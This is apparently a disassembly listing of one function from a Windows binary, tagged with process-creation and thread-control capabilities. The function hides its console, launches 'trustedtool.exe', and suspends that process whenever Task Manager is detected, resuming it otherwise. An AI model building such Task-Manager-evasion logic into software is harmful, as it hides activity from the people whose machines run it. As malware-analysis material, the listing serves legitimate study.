Function at 0x140002970
Capabilities:
Create process on windows
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x560]
sub rsp, 0x660
mov rax, qword [0x14003c040]
xor rax, rsp
mov qword [rbp + 0x550], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
mov r8d, 0x14
lea rdx, str.EARFER4ATER4RVGFBFDs
lea rcx, [rbp - 0x38]
call fcn.140005130
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 0xf
lea rdx, str.trustedtool.exe
lea rcx, [rsp + 0x50]
call fcn.140005130
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov r8d, 0xc
lea rdx, str.MiAplicacion
lea rcx, [rsp + 0x70]
call fcn.140005130
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x18]
call fcn.140002590
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140002a69
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002da8
call fcn.140009130
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140002aa6
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002aa1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002db4
call fcn.140009130
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rax
lea r8, [rbp - 0x38]
lea rdx, [rbp - 0x18]
lea rcx, [rbp - 0x70]
call fcn.1400020b0
nop
lea r8, [rbp - 0x38]
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x58]
call fcn.140002290
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], rax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
mov dword [rbp + 0x10], 0x68
mov dword [rbp + 0x4c], 1
xor edi, edi
mov word [rbp + 0x50], di
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rcx, qword [rbp - 0x58]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140002b70
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x70]
jmp 0x140002ba1
lea rdx, str.Failed_to_launch_process:
lea rcx, [0x14003d570]
call fcn.140004df0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140002dc0
mov rcx, rax
call fcn.1400050a0
mov rbx, rdi
call fcn.1400028c0
test al, al
je 0x140002bf3
test rbx, rbx
je 0x140002bf3
lea rdx, str.Task_Manager_detected__suspending_trustedtool.exe
lea rcx, [0x14003d3d0]
call fcn.140004df0
mov rcx, rax
call fcn.1400050a0
mov dword [rbp + 0xb0], 0x10000b
lea rdx, [rbp + 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140002c47
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SuspendThread]
jmp 0x140002c47
call fcn.1400028c0
test al, al
jne 0x140002c27
test rbx, rbx
je 0x140002c27
lea rdx, str.No_Task_Manager_detected__resuming_trustedtool.exe
lea rcx, [0x14003d3d0]
call fcn.140004df0
mov rcx, rax
call fcn.1400050a0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x140002c47
lea rdx, str.Failed_to_launch_process.
lea rcx, [0x14003d570]
call fcn.140004df0
mov rcx, rax
call fcn.1400050a0
test rbx, rbx
je 0x140002c5f
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140002c9a
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c95
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002dae
call fcn.140009130
movdqa xmm0, xmmword [0x140036510]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x140002cf9
mov rdx, qword [rbp - 0x60]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ce0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002db4
call fcn.140009130
mov qword [rbp - 0x70], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x68], xmm0
movdqa xmm0, xmmword [0x140036510]
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x140002d3c
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002dba
call fcn.140009130
movdqa xmm0, xmmword [0x140036510]
movdqu xmmword [rbp - 8], xmm0
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140002d7c
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d77
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002da2
call fcn.140009130
xor eax, eax
mov rcx, qword [rbp + 0x550]
xor rcx, rsp
call fcn.140009110
lea r11, [rsp + 0x660]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.1400116c8
nop
call fcn.1400116c8
nop
call fcn.1400116c8
nop
call fcn.1400116c8
nop
call fcn.1400116c8
int3